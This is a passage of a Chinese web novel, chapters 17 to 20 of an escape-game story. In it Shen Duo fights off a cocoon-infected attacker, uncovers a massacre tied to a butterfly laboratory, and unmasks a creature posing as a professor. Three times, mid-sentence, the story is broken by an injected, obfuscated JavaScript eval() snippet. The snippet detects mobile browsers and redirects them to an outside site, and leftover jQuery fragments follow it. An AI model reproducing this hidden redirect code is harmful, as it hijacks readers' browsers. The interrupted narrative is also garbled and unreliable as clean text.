关樊缓缓垂下头,看着贯穿他身体的那只手,明明他的手被全白包裹,沈铎的只有片片白鳞,但那些夜晚将他肆虐的茧丝根本不敢触碰沈铎的手臂,正在仓皇逃窜,在他身上掀起白色乱流。他吐出一口血,“你……你也有……” “是啊,我也有。”沈铎抽出鲜血淋漓的手,“所以我说了,你最好让我死。” 关樊摇晃两下,不甘心地倒在地上。从这个角度看沈铎,他前所未有地高大,少年的骨骼挺拔新秀,再也不像之前被压在车棚里挨打的虫子了。 “你不是……你不是……” 鲜血不断涌出,他眼前走马灯般晃过,这个沈铎与那个沈铎似乎重叠在了一起,无尽的沈铎围成一圈站在他头顶,踩着他的头,宣判他。 以牙还牙,以眼还眼,向来如此。 你最好一次性弄死我。 “不然我就会让你死。” 17. 蝴蝶雕塑馆17 -17- 系统也很震惊。 “沈铎,你的心……他的手,啊呸!他怎么没打中你的心脏?” 关樊那一拳砸过来的时候,它差点紧张到呕吐。白色拳头堪堪刹车,停在距离沈铎心脏几厘米的地方,它差点狗眼一翻嘎了过去。 那有多近呢,沈铎只要微微呼吸一起伏,他胸口的衣服就会贴上关樊白茧化的关节。 但是没有。 偏偏没有,停下来了,关樊寸步难行。 “你是怎么做到的?”系统又是振奋,又是无解。 它没看到沈铎从商城购买任何物品,而且新人商城里的东西,除了许愿瓶,别的都是保证玩家基础存活的低级商品,比如活力药水。 逃生游戏的意图很无耻也很明显:除了玩家的异能,主什么都不在乎。甚至活力药水也是为了异能而服务的:玩家要保证生命体征良好,才能更好地使用许愿瓶。 逃生游戏最大限度开发玩家的异能,最明显的表现,就是它营造出了绝佳的平衡环境,在最危险却又不至于让玩家去世的情景中刺激异能诞生。 可以说新人副本就是第一个淘汰环节,如果玩家没能在这里觉醒异能,就会被无情地抛弃,这就是逃生游戏的残酷之处。 如果沈铎没有依靠任何外力,那他是依靠了他的异能吗? 可是他的异能是精神系,附带的提升根本不能让他的身体变得比铁柜还坚硬。 他到底是怎么办到的呢? 沈铎:“我在白茧上用了点许愿瓶。” 系统闭了闭眼,没有理会他已经把许愿瓶当成了一个名词。它急切地想知道沈铎是如何做到的。 “这些茧看起来会生长。既然会生根发芽,那就是有生命的,跟蝴蝶一样。蝴蝶能开,为什么它们不能?” 所以沈铎在关樊发疯的时候尝试灵魂出窍驱动白茧,和白茧的意识一顿干架之后,无视它们的吵嚷抗议,从手背转移到了心脏。 完美的盾牌。 那一声闷响“砰”就是关樊的拳头撞上去的声响。 系统:“……” 原来是这样解决的吗? 生死攸关的一战怎么被沈铎说得如此风淡云轻啊! “不过,还是有点难度的。” 沈铎若有所思:“新生的茧就这么点,要防守哪里,完全要看关樊怎么打我。他要是揍别的地方,我还得临时换位置,还好他一门心思想要我死,直接打了我的心脏。” 系统:“……那你挑衅他也是故意的?” “当然,我是和平主义嘛。”沈铎一边把手上的血抹在墙上,一边笑着说。 谁信啊! “但我现在确实有点狂躁。”沈铎找到了一个合适的词描述他现在的心情。 其实昨晚就有一点症状了,但他当时以为是许愿瓶影响的,和关樊的突发情况让身上的白茧长得更快,那种烦躁感连续不断涌上心头。 带着烦躁的眼神抬头,看到对面安静如鸡的三个人。 沈铎:“……” 他顿了一下,问系统:“我现在看起来和善吗?” 系统:“你说呢?” 沈铎现在胸口都是飞溅出来的血,整条手臂红白交加,有一些新鲜的血还溅到了他的脸上,室内的惨红色仪器光倒映在他的瞳孔里,看起来就像一个刚从地狱走出来的魔王。 他试图缓解气氛,让自己显得友好一些,于是扯开嘴角笑了一下。 系统不忍直视:更恐怖了啊! 沈铎懒得再装,拍了下手站起来。 本来就是关樊突然袭击,他只是正当防卫,而且狂躁也是一个不错的理由,他对战战兢兢的钟莹莹解释之后,本来很紧张的记者小姐神色慢慢缓和,还变得有些困惑。 “原来不是我有这种症状。” 意外的回答。沈铎看了看地上的关樊,回想他刚才突然发疯,恍然大悟:“身上出现茧化反应以后,人会变得非常亢奋?” 钟莹莹是这样的,陈文轩和顾佳佳也有同样的问题。 “我刚才似乎看到一本相关报告,我去找一找……”钟莹莹小心避开地上的血泊,她感觉有些荒谬,平常杀鸡都不敢,现在看到一个人真真切切在眼前死了,她竟然无动于衷,是雕塑馆改变了她,还是科斯克鲁蝶呢? 她很快找到了那份报告,拿了过来。 大家围在一起看。 “1月22日对目标对象进行了第二次结茧观察” “在结茧过程中,目标对象表现得极具攻击性,有好斗、嗜血和挑衅等特点” “根据教授分析,这或许是因为,在进一步的基因融合中,科斯克鲁蝶占据了上风,残忍好杀、狡诈嗜血乃是这种生物的本能反应,它们自幼生存在大自然中,养成了成王败寇、适者生存的残忍规则……” 沈铎抬起自己满是鲜血的手,手臂下方已是洁白一片,像是干掉的油漆。如果再长一些,长到关节部分,他的活动就会受到限制,一举一动卡嚓卡嚓磨得关节响,那样就跟雕塑真的没区别了。 蝴蝶带来的融合更像吞噬。 对身体的吞噬一方面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119792|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是茧化,白茧取代皮肤将一个人变成雕塑。另一方面是结茧之后更进一步的吞噬,人会在内彻底融化,达到初步的死亡。 对精神的吞噬表现为:动物的本能在复苏,人类的理智和思维能力下降。攻击性只是第一步,再融合下去,沈铎的人性可能会彻底丧失。 这是对他而言,身体和意识上的双重死亡。 “咦?这份……好像不是报告。” 钟莹莹疑惑地拿起报告册,观察日志都写在这种A4大小的塑料封皮册子,她刚才也是瞄到这一本的标题有“科斯克鲁”“攻击性”等关键词才留意到的。但这本册子翻到最后,却还有数页薄纸,用回形针别在上面。 她疑惑地拿了起来,“……老照片?” 那张照片其实并不算老,只是保存环境太恶劣,边缘残破得厉害,照片上是一家三口,夫妇二人牵着他们的孩子。 男人个子高挑,眼神忧郁,一头卷发很有艺术家的气质。旁边的女人较为严肃,但身体无意识贴近丈夫,似乎只是不善于面对镜头,虽然没有热情如火,但两个人待在一起,却有种奇妙的和谐气质。 夫妇的穿着都很昂贵,西服绸裙,儿子穿着短裤,还扎了一个领结,对镜头比了一个耶,看起来非常调皮。 怎么看,这都是很和睦的一家人。 但沈铎认出了那个忧郁的男人,“商沅?” 这间雕塑馆里,多得是商沅的照片,毕竟这间蝴蝶雕塑馆就是为他建立的。钟莹莹常年和新闻报道打交道,对这一家人也很熟悉。 “不会错,这就是商沅,还有他的妻子,苏晴语。”手指指到中间的小男孩,钟莹莹却有种物是人非感,眼前这个俏皮的孩子,会是那个疯狂的信徒吗? 但这就是商飞扬。 商沅和苏晴语没有再生别的孩子。 沈铎看着商飞扬幼年的面容,“怎么长得不太像?” “长大了嘛,而且他这些年疯疯癫癫的,把自己都当成了实验对象,和科斯克鲁蝶融合了很多次,外貌肯定有很大变化。” 但沈铎看着那张脸,总觉得在哪见过。 “大姐姐,照片下面还有字呢。” 一直没说话的顾佳佳忽然开口,沈铎看她一眼,同时留意到,顾佳佳站的位置和钟莹莹发现这本册子的地方很接近。 以她的个头大小,在沈铎吸引了全部注意力的当下,悄悄跑去把照片别在报告册后面是完全可以做到的。 但问题是,她这么做的理由是什么。 他的思考很快被钟莹莹的叫声打断了。 18. 蝴蝶雕塑馆18 -18- 钟莹莹非常激动,“你们知道这几页纸是什么吗?是商飞扬的日记!” 年幼的商飞扬是一个乖宝宝,会每天喝牛奶,写完日记再睡觉。 小学生笔触其实挺像流水账的,但是落到他们这群人手里,却成了非常珍贵的资料。 沈铎注意到,这些日记纸,有锯齿的一边很新,其余边角都泛黄了。只有一种解释,就是这些纸刚撕下来没不久,所以有锯齿的侧边没被磨损。 这就很值得深思: 一个小朋友的流水账,为什么单独抽出来这几页放到他们眼前? 他扫向第一行: 【11月22日,天气晴】 【从茧里爬出来的人,杀死了我的爸爸】 …… 爸爸和妈妈一直很恩爱,但自从爸爸开始沉迷那个蝴蝶实验室,他们就变了,每天没完没了地吵架。 实验室是爷爷建起来的,爷爷说,蝴蝶能给人带来幸福。 但蝴蝶并没有给我们家带来幸福。爸爸妈妈,还有爷爷,都因为实验室变成了怪人。 最奇怪的是,实验室并没有蝴蝶。 我趴在门口偷看的时候,一个叔叔拍了拍我的肩,说蝴蝶都被人吃下去了,在肚子里,在血液里,在头发丝里,用眼睛是找不到的。 我说那人呢?实验室里也没有人啊。 他说人都在茧里。 我知道茧,在课外书上看到过。但是没见过实验室那么大的,塞在培养池里,像一条条粗大笨重的蛆。 他带我去看池子里的茧,让我隔着茧摸里面人的手指,回去后,我做了一个噩梦。 我梦到一切都是白色的。 我跑啊跑,跑啊跑,跑到筋疲力尽,还是跑不出这片白色。 我能听到爸爸妈妈的声音,但是看不到他们在哪,他们好像在这片白色的后面,我跑不动了,对不起妈妈。我倒在地上,发现地也是白的,还有奇异的纹理。 我把手贴了上去,白色的地贴近我的手指,我以为它在跟我玩,但它忽然缠住了我的手,缠得很紧,我开始奇怪地想象,也许外面不是我的爸妈,而是一只大手,现在这只手在捏着这片白色,我就是里面的包子馅。 先是手指,再是手臂,我被包得不能动弹,四周的白色,头顶的白色,都在涌向我,近得让人窒息。然后我就被吓醒了。 我问爸爸,如果人被包在了茧里,那他们还能出来吗? 爸爸说会的。 我又问他们会变成什么呢? 爸爸这次没有回答我。 当他被茧里爬出来的人杀死的时候,他用无声的口型呼唤我,我看懂了,那是他最后的回答: 【他们会变成未来】 这个未来一点也不好。 我站在爸爸妈妈、叔叔阿姨流出的血里,看着那个从白茧里爬出来的人,他还是人吗?是他还是它? 它双手双脚趴在地上,看起来就像一只巨大的昆虫,它被我爸妈的血养肥了,很愉快,在原地慢慢直立,从动物慢慢长成人。 它全黑的眸子诡异地转动,看向实验室外面一点点的白光,就在它想要走过去的时候,我的眼泪掉在了地上,“啪”一下,碎得没声响,但它却猛地回头。 它用全黑眼珠看我的时候,很像一只直立的蝴蝶。 他看着我。 他朝我走来了。 …… “这和我们的调查说的不一样!”钟莹莹大叫:“调查人员明明说,商家灭门案爆发的那一晚,发生在商沅的别墅,他还有他的妻子,当晚参加宴会的所有人,都是因为破茧失败才死的,一夜间暴毙而亡!” 她隐瞒了很重要的情报,之前陈文轩说起破茧,她就装不知道。 但商飞扬的日记让她很震撼,她管不了在场都有谁,一股脑全倒出来了! 沈铎很冷静:“消息来源是什么?” 钟莹莹:“商国栋……” “不太对。”沈铎沉思片刻,说道。 “这间实验室是商国栋打造的,我这么说不仅仅因为商飞扬的日记这么写了,还有那些十多年的企业报刊都能做证。” “既然是商国栋一手建立的实验室,那他在事发之后一定想保住它,为什么会告诉你们,破茧失败这些秘密?” 钟莹莹感觉自己的脑子一团乱。 沈铎继续道:“我觉得这像一个警告。” 顾佳佳:“为什么这么说?” 沈铎看了她一眼,手指在商飞扬的日记上圈出一道,“假如这些事是真的。假如当年从茧里爬出来的人杀了商飞扬的父母,还有实验室其他工作人员,你作为商飞扬的爷爷,会怎么做?” 钟莹莹打了个哆嗦,商飞扬写在纸上的事过于恐怖,如果是她的话,如果能活下来,一定会想办法躲起来,至少离这间实验室远远的。 “不管是躲起来,还是离开这里,都是一个目的。”沈铎一针见血:“是为了保证自己的安全。” 商国栋想保证他的安全,还有他孙子的。 这篇日记最后写得非常潦草,商飞扬回忆道,他迷迷糊糊醒来时,实验室周围已经燃起了大火,他被赶来的爷爷救出火海,成了唯一的幸存者。 “商国栋如此看重这间实验室还有科斯克鲁蝶,却向你们主动坦白了和破茧有关的一切。也许你们当时不相信,毕竟和蝴蝶融合还结茧什么的听起来太离谱了,但这个举动至少会警告那个爬出来的东西,你会被很多双眼睛盯着,不要胡来。” “他在警告它,你是变得像人了,那又怎样。你本质上还是从我实验室里爬出来的一个怪物,只要你暴露自己的身份,整个人类社会就会对你群起而攻之。” 沈铎的话太有画面感,钟莹莹仿佛看到了一个头发花白的丧子老人,他老得快要死了,但因为仇恨迸发出扭曲的生机:“就算你杀了再多人,就算你有人类不可企及的超能,但你还是一只爬出实验室的虫子,一只站在高楼大厦间怕被人发现的,渺小的虫子。” “……会是这样吗?”她喃喃。 沈铎耸肩:“谁知道呢,我也是猜的。” 忽然间,陈文轩笑了起来。 他的笑声在这间实验室里,格外突兀,钟莹莹有些杯弓蛇影,以为他也和关樊一样即将异变。 但陈文轩没有看她,他在用很认真的眼神看沈铎,表情变幻得十分精彩,几秒间涌现出了费解、疑惑、肯定、欣赏等等神色。 他的脸上出现表情的时候,总会慢一拍,仿佛那层皮跟不上动作,这种奇怪的表现让沈铎觉得他似乎不是人类,只是在模仿人类。 最后,他看着沈铎笑了。 “没有那么麻烦,想知道真相,试一试就可以了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119793|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他一边说,一边走向倒地不起的关樊,在自己的喉咙上切了一道口子,血液滴滴答答流到了关樊的身上。 沈铎做了个手势,让钟莹莹和顾佳佳后退到门口,自己先稳住陈文轩:“试什么?” 陈文轩盯着地上的关樊,他的影子落在惨红墙壁,培养皿的影子在他身后交错成斑斓的蝶翼:“试试他会不会从茧里爬出来。” “但最好快一点,寄生他的科斯克鲁蝶是残次品,本来成茧就很费劲,现在还失了那么多血。”说着,他猛然拧头,吓了沈铎一跳。 沈铎觉得他的动作有点奇怪,但又说不上来是什么。后来才想到,是陈文轩扭头的速度太快,太彻底,他好像忘记怎么做这个动作,所以没有做到位,差点将自己的脖子都扭断了。 他用前所未有的温柔语气教训自己,“我从前是怎么教你的,太笨了。” 太柔了,柔得沈铎起了一片鸡皮疙瘩。 可能看到他神色不对,陈文轩无奈极了,“你还没想起来啊,我还以为你说了那么一堆,是想起来了呢。我这些天一直想问你,到底出了什么事,上车前不是还在给我发消息吗?怎么完全想不起来我是谁了?” 完全是一副爸爸训儿子的语气。 “嗯?怎么不回我的话?” 沈铎没工夫回他,他正在骂系统。 “这个副本里边,到底还有几个影帝影后?之前三个,现在又来?你们这儿是生影帝蘑菇吗,一茬一茬长呢?” 系统低眉顺眼:“这边不太清楚呢,这边也是头一回来这个副本。”说来也怪,这是它第一次怀疑游戏评级。 《蝴蝶雕塑馆》是一个只有D级别的副本,但是从故事的复杂程度来说,完全超过了D级副本应有的难度。就算不说故事复杂,那个在地下的【蝶母】,它虽然没亲眼见到,但这种能影响玩家神智的【副本怪物】已经算是神话级别。 之前都在贴心照顾沈铎,现在系统有限的狗脑子才开始思考:这里真的是D级副本吗? 可是内测池不比正式服,内测池只会有D级副本啊。 “唔,还有救。”陈文轩评价道。 关樊的皮肤像沙滩,他的血液像盐水,很快渗入不见。短暂几秒之后,关樊身上忽然疯长白茧,眨眼的速度就长满上半身,这些白茧凶悍无比,冲破衣服,很快就将关樊包得严严实实。 沈铎忽然觉得这个画面特别熟悉。 进馆选材料的那张桌子,也是这种人形茧。 “咔。” 原来是肩膀的位置,忽然裂出一条缝隙,簌簌的白皮掉落。 沈铎已经悄悄退到门口,钟莹莹缓缓拉出一道缝隙,三人随时准备后撤。陈文轩像一个沉迷在实验里的观察人员,欣赏着地上美丽的茧。 没有人说话,只有不同频率的呼吸声,沈铎目不转睛地盯着那道裂纹,最后一块白皮掉在了地上,整个房间陷入安静,诡异的安静,他能听到钟莹莹开门的吱声,还有自己咬紧牙关的摩擦声。 就在这时,“砰!”声砸在死寂的档案室,砸得每个人心头一梗。 被砸出的洞口漆黑一片,和边缘的惨白对比强烈,大团大团的热气从洞里吐出,一只手,一只像刚在沸水里滚过一遍的手臂,通红的皮肤蒸腾着热气,伸了出来,五指牢牢抓住地面。 一个不能称为人的“人”,从茧里,缓缓爬了出来。 19. 蝴蝶雕塑馆19 -19- 看到那东西的第一眼,沈铎就愣住了,最先升起的情绪不是害怕,而是荒谬,是难以理解。 太难理解了。天底下还有这种超出认知的怪东西? 从茧里爬出来的“人”手脚着地,背部整个扭曲,像麻花缠了一圈,它的头是全黑色的三角形,长满毛的眼球垂在三角形的两侧。它先在原地呆滞片刻,然后做了个嗅的动作,三角形的头生猛调转,死死盯住了门口的沈铎。 它不记得沈铎是谁,但是闻到他手上有熟悉的味道。 这个人杀死过它! 它愤怒地嚎叫了一声。 沈铎的大脑一秒转动:走吗?走吧! 陈文轩敌我不明,态度非常诡异,原身跟他应该达成过某种交易,很有可能他身上的科斯克鲁就是在进馆前陈文轩种下的。 还有,陈文轩的血似乎能操控他的神智。 他滴血到关樊身上的时候,沈铎全身僵硬,大脑又开始混沌,和参拜【蝶母】的感觉很像,但要比那会更直接。也许,陈文轩身上的蝶来自于蝶母,而他的蝶来自于陈文轩,算来算去,蝶母可能是他奶奶。 怎么办? 去找他奶奶,让她管管她儿子? 算了,这点小事,就不麻烦她老人家了! 沈铎拉开门,以最快速度将钟莹莹顾佳佳二人推出去,他在“关樊”扑过来之前大声说道:“知不知道你最像人的地方是什么!” 他在对陈文轩说话。 “陈文轩”不是人类。 他对“从茧爬出来”这个点超级在意,在意到现场自爆,而且还当场展示,更重要的是,他还成功了。“陈文轩”的实力超过雕塑大队,超过顾大爷和吕凯,超过采莲女,如果沈铎能看到他的面板,那一定是这个雕塑馆里除了【蝶母】之外最难杀的怪物。 总之,“陈文轩”不是人类。 它就是当年从茧里爬出来、杀了商飞扬一家的那只【科斯克鲁蝶】。 它被商国栋警告,混迹人群多年,严格扮演一名人类,不被任何人发现。 一个演员,最在意的就是自己演得合不合格。所以沈铎抢先问他:知不知道你最像人的地方是什么? 果然。他做了一个抬手的动作,“关樊”不甘心地停下。 “关樊”浑身的热气正在消散,四肢身躯向人转化,它还很搞笑地挠头模仿沈铎背手按住门的动作,这只扭曲的异种端详着沈铎,调整着自己的头型,让它慢慢变得和沈铎一样。 陈文轩看着它,饶有趣味,似乎站在旁观者的角度,重新经历了一次自己的诞生。 这些年他一步步从陈文轩变成陈教授,还有人想要跟他介绍相亲对象,他很高兴,说明他的扮演非常成功,但是,苦于无法自爆身份,这么多年了,它没听到过任何一个人类的肯定,沈铎的话无疑取悦了它。 “说下去。” 沈铎却和他讲条件,“你让它离我远一点。” 陈文轩摆了摆手,“关樊”退后一步。沈铎却不满意,“退到墙角,背对着墙站好。” 陈文轩神色不耐,沈铎抢先开口,“讨价还价是最有人情味儿的人类行为,你没有做过吗?” 陈文轩:“……” 他当然不可能说没做过,为了更像一个人,他让委屈巴巴的“关樊”去角落面壁思过了。 沈铎这才放下一直按着门的手,外面的脚步声已经消失,顾佳佳她们应该跑远了。他的第一步做得还算成功,接下来就要看第二步了。 沈铎轻呼一口气,开始发挥。 “在所有的侦探小说里,一个愉悦的杀人犯,总是很想回到案发现场再看看。所以,即使冒着商飞扬可能会认出你的风险,你还是报名了雕塑比赛,回到了当年杀死他爸妈的现场。” 陈文轩不可置否,沈铎说错了一件事,它根本不在意有没有人能认出自己。 但这无所谓了。 沈铎一直观察着他的表情,立刻换了种说法,“其实你之前跟我们组队,对所有人都表示友好,你扮演着一个温文尔雅的教授,但我觉得那样的你并不能算是人。” 陈文轩似笑非笑:“那我什么时候算是人呢?” “人有自己的好恶三观,就像钟姐有自己的理想要实现,顾大爷想照顾自己的孙女,甚至于商飞扬想要报仇雪恨,这些都是一个人发自内心自己想做的事。”沈铎摇了摇头,“可是你没有。” “但是——” 在陈文轩发飙之前,沈铎又拔高了声音,“但是,想要来案发现场再看一眼,想感受这变态的愉悦,想炫耀你隐藏多年的超能,虽然让人觉得很恶心,但恭喜你,你在这一刻最像人了。” 陈文轩并不在意“恶心”这种评价。这只是人类社会的评价。 他在意的是沈铎操控自己。 他一说一唱,自己的行为就会随之改变,这不正是他训狗的样子吗? “你身上的科斯克鲁已经在发芽了,我能闻到。”他将喉咙的血抹在手上,那些血散发着奇异的味道,还有靛蓝色的微光闪烁,“你说这些,是在拖延时间。我们捕猎时也会这样。” “可你为什么想跑呢?我们本来是一伙的。” 它的手在半空伸展,沈铎却没有任何动静,这时它的神色才有些变了,“你……” “没办法操控我了?”沈铎了然地点头,笑着说道:“可能因为我见过我奶奶了。” 陈文轩呆了一下,这次轮到一只怪物荒谬了,“你奶奶?” “对啊,她说你是不孝子,把她扔在犄角旮旯不闻不问不养老,还是我这个大孙子好,知道来看她,她老人家一高兴,就给我升了辈分,现在我俩辈分差不多,我干嘛要听你的?”沈铎不会告诉他,其实陈文轩无法影响他,是因为他刚才用了许愿瓶。 你想控制我的思维,那我就没有思维。 想控制我的灵魂,那我就让灵魂出窍。 他知道这一招不能撑多久,但他只要争取到陈文轩犹豫不决的态度就可以了,比如现在,他能趁机开门跑掉! 不能血脉压制似乎给了陈文轩很大震撼,一直到他爬上井口,实验室都没有传来任何动静。沈铎刚爬出来,迎面就有一只巨大的蝴蝶雕塑倒下来。四处烟尘滚滚,雕塑滚得七仰八叉,跟他下去之前判若两厅。 “沈铎,咳咳,这里!” 顾佳佳和钟莹莹在面目全非的大门边朝他招手,一个赛一个灰头土脸,沈铎过去的路上遇到了“崩塌”的战神像、战马像、圣母像,冒着一不留神就会被马踩死的风险,历经千难万险才到她们面前。 这一刻最想感谢的就是许愿瓶。 感谢许愿瓶,让他变成史泰龙。 “跟我来。”顾佳佳止住钟莹莹的话头,“不要问,也不要解释,时间不多了,我送你们出去。” 顾佳佳变得不一样了。 一个小女孩,理性又冷漠,在前面带着路。 不仅展览大厅在崩塌,外面的走廊也是,到处都滚落着石块,而且变得越来越热,又热又潮湿,地上的碎石表面凝了一层厚厚的水珠。 “原来我错怪商飞扬了。”钟莹莹跟着他们,小声道。 沈铎看了她一眼。 “我一直以为是他丧心病狂杀了自己的亲人,还有他的管家……没想到是一只怪物干的,他也是受害者。”虽然这个受害者后来又干了很多坏事,但一码归一码,她得为自己的偏见买单。 “管家是谁?”沈铎记得她之前也提过一次。 “是在他很小的时候就照顾他的人,商沅忙着做雕塑,很少尽过父亲的责任,那个管家对商飞扬很好,是在商家效力很多年的老人了,商国栋还把他的一家老小接过来……”钟莹莹的眼黯淡下去。 本来是好事,但因为“陈文轩”的出现,让这些无辜的人都葬身火海了。 “商国栋到底为什么要研究蝴蝶呢?”她抱怨道。 一切灾难,好像就是从这种怪异的【科斯克鲁蝶】开始的。 沈铎冷不丁问道:“那个管家的一家老小,都有谁?” “啊?”钟莹莹只瞄过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14119794|149849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一眼资料,回忆道:“他只有一个儿子。年纪……好像跟商飞扬差不多,所以两人关系挺好的。” “我还听以前在商家干过的司机说过,他们俩长得特别像,很小就沉迷互相扮演逗弄大人……如果不出意外,商飞扬也许能成为最年轻的舞台剧演员吧。” 本来是无心一句闲谈,钟莹莹却下意识皱了下眉头,她似乎从自己的话里察觉到了一丝异样,但又说不出是什么。 “你问这些做什么?”她问沈铎。 沈铎一副走神思考的样子,双眼呆呆。 “好了。”顾佳佳冷淡打断了他们的对话,在他们交流的时候,她一直在前带路,似乎毫不关心他们谈话的内容。将他们带到雕塑馆入口废弃的安检口,她便指着前方。 “关新杰在那,带上他一起走。” 钟莹莹茫然道:“我们可以走了?” 顾佳佳点了点头。见两人都没动,她才不耐烦地说道:“不走也行,这里很快要塌了,你们想死的话我没意见。” “你这孩子,怎么突然这样啊!”钟莹莹跺了下脚,想到她还差关新杰一个人情,于是去找他了。 “你不走吗?”顾佳佳问沈铎。他还没回答,就自顾自说道:“其实我不该放你走,你和陈文轩是一伙的。和那些被卷进来的无辜人不一样,你和陈文轩从一开始就是冲着我们来的。” 沈铎觉得她一本正经说话,酷酷的样子还挺生动,比之前装可爱好多了,“那你为什么又要放我走?” 顾佳佳撇了下嘴,“因为我无聊,行了吗,你赶紧走吧。不要再轻易上当,出去之后就把这些事全忘了。” 她说完后,就打算走,但沈铎的一句话,让她停下了动作。 “他真是你的爷爷吗?” 她的喉咙哽了一下,飞快道:“你的包在拐角第二只小象雕塑的脚底下,看了你的手机,就知道陈文轩和你是什么关系了。”她说完就走,身影很快在走廊消失。 “要去找包吗?”系统出声。 沈铎摇了摇头,“不找。”他和陈文轩的关系,他大概能猜出来。 倒是另一件事值得在意。 他的胸口一直在发光。 是上衣口袋里的信封,他在资料库抽屉找到的。发着光……还热热的,感觉像是很重要的道具? 他拆开信封,倒出一张老照片。这张照片看起来和商飞扬日记的是同一组,尺寸都差不多。 照片上三个少年青春气盛,两个男孩和一个女孩,面对镜头神采飞扬。 沈铎一下就认出了吕凯和筱雨,另一个男孩,和日记照片里的商飞扬很像,但皮肤要更白一点。他抱着一只雕塑小狗,头戴生日王冠,正给镜头外的人高高举起那只小狗,似乎很喜欢这份礼物。 沈铎翻过照片,右下角写着一行字: 【9月25日,为长翼兄庆祝生日】 【叮咚——】 【您获得关键道具:商飞扬珍爱的照片】 【许长翼是商飞扬的好朋友,这是人尽皆知的事。许长翼来自乡下,是管家的孩子,有一年暑假,商飞扬瞒着他,从乡下接来了他从前的两个好友,吕凯和筱雨,来为他庆祝生日,那一天,许长翼收到了雕塑天才的儿子亲手做的雕塑小狗,这是他一辈子将会珍藏的礼物】 【叮咚——】 【您触发了隐藏任务:帮助许长翼和商飞扬,毁灭蝴蝶雕塑馆】 播报忽然发出了滋滋的电流声,像在被什么干扰一样。 【该任务……描述……不合理……】 【该副本内……神话……怪物……级别……】 滋滋声消失,播报再次平稳: 【很抱歉,由于我们检测失误,未能发现副本中包含D等级以上的怪物“蝶母”,副本等级需要根据怪物等级重新进行评审,请玩家原地等候,不要离开,该消息会循环播放三遍,同步提交正式服……】 【亲爱的玩家沈铎,经过重新审核,您所在的“蝴蝶雕塑馆”副本等级应为——】 【……S级】 20. 蝴蝶雕塑馆20 -20- 系统问:“通知说了什么?” 沈铎惊讶,“你看不见吗?” 系统顿了顿,“这则通知的权限高于我。”它没告诉沈铎,上生肖的判官,有的动物是能拿到这个权限的。 很可惜,它只是下生肖的狗。 沈铎哦了声,“说我触发了隐藏任务,要帮商飞扬和许长翼毁灭蝴蝶雕塑馆,还检测到了【蝶母】,所以副本评级更改为S了。” 前半截系统嗯嗯听着,到最后一句尖啸出声:“什么——?!S——?!副本等级是S——?!?!” 沈铎点了下头,还拿着照片在琢磨,忽然察觉系统窸窸窣窣,“你干什么去?” “收拾东西回老家。” 沈铎很不解,“为什么啊?变成S就不能打了吗?” 什么为什么啊! 它真想拎起沈铎的衣领摇晃:那可是S的副本啊S!你一个角色卡都是新人面板的玩家拿什么打? 它疲惫至极:“你应该在角色卡上看到过【比赛】吧?那是正式服每年一次的联赛,参加联赛的条件之一,就是选手需要觉醒S级以上异能,面板属性更要刷爆积分提升到顶配,就算是他们,也不能没有任何情报,直接下一个未知的S级副本。” 沈铎连异能都没有觉醒,每次耍无赖磕磕绊绊使用一点许愿瓶,就这点本事,想通关S级?简直痴心妄想。 “我现在能为你想到的唯一办法,就是趁着上面认了这次失误,赶紧溜了算了。”它苦口婆心:“上面很珍惜你这样有异能的玩家,你告诉他们,他们一定会保你出副本,不用打BOSS躺赢不是很好吗?” 沈铎瞥它一眼,“我觉得你的说法自相矛盾。” “如果像你说的,他们非常看重异能,那一定会想方设法激活,而不是现在就把我保出去。一个总是需要人保护的玩家,什么时候才能自力更生?他们肯定不会插手的。” 系统张了张嘴。 很不想承认,但沈铎说得对。 连它之前都暗戳戳动过拔苗助长的心思。 它泄气道:“那要怎么办呢?” 沈铎:“你这么沮丧干什么,我死了你肯定不会死的吧。” 它感觉眼泪都要涌出来了,“我不能沮丧吗?我一直在内测池打转,从来没去过正式服,老家一直都有人笑话我,说我是什么都干不成的老狗。几千场副本了啊,第一次遇到有异能的,就这么给我干没了,我不能伤心吗?” 一只狗哭得毛都湿哒哒的。 沈铎:“哎呀,别哭了。” “想办法通关就是了,哭也没用啊。” 系统擦干净泪,“你肯定没有女朋友吧。” 沈铎:“……哈?” “不是女朋友?那你肯定也没有男朋友。你太直男了。” 沈铎给它比了一个中指。 “我说真的,别哭了,我们得出发了。”沈铎看了一眼许愿瓶,“撑死还能用最后一次,刚刚好。” 系统有点懵,“去哪啊?” “我跟你说一下,我们现在都掌握了什么信息。”对它说也是自己在复盘。 【许长翼和商飞扬是好朋友】 【商飞扬和管家的儿子年纪相仿,关系亲密,二人还跟吕凯、筱雨认识,这个儿子会不会是许长翼?】 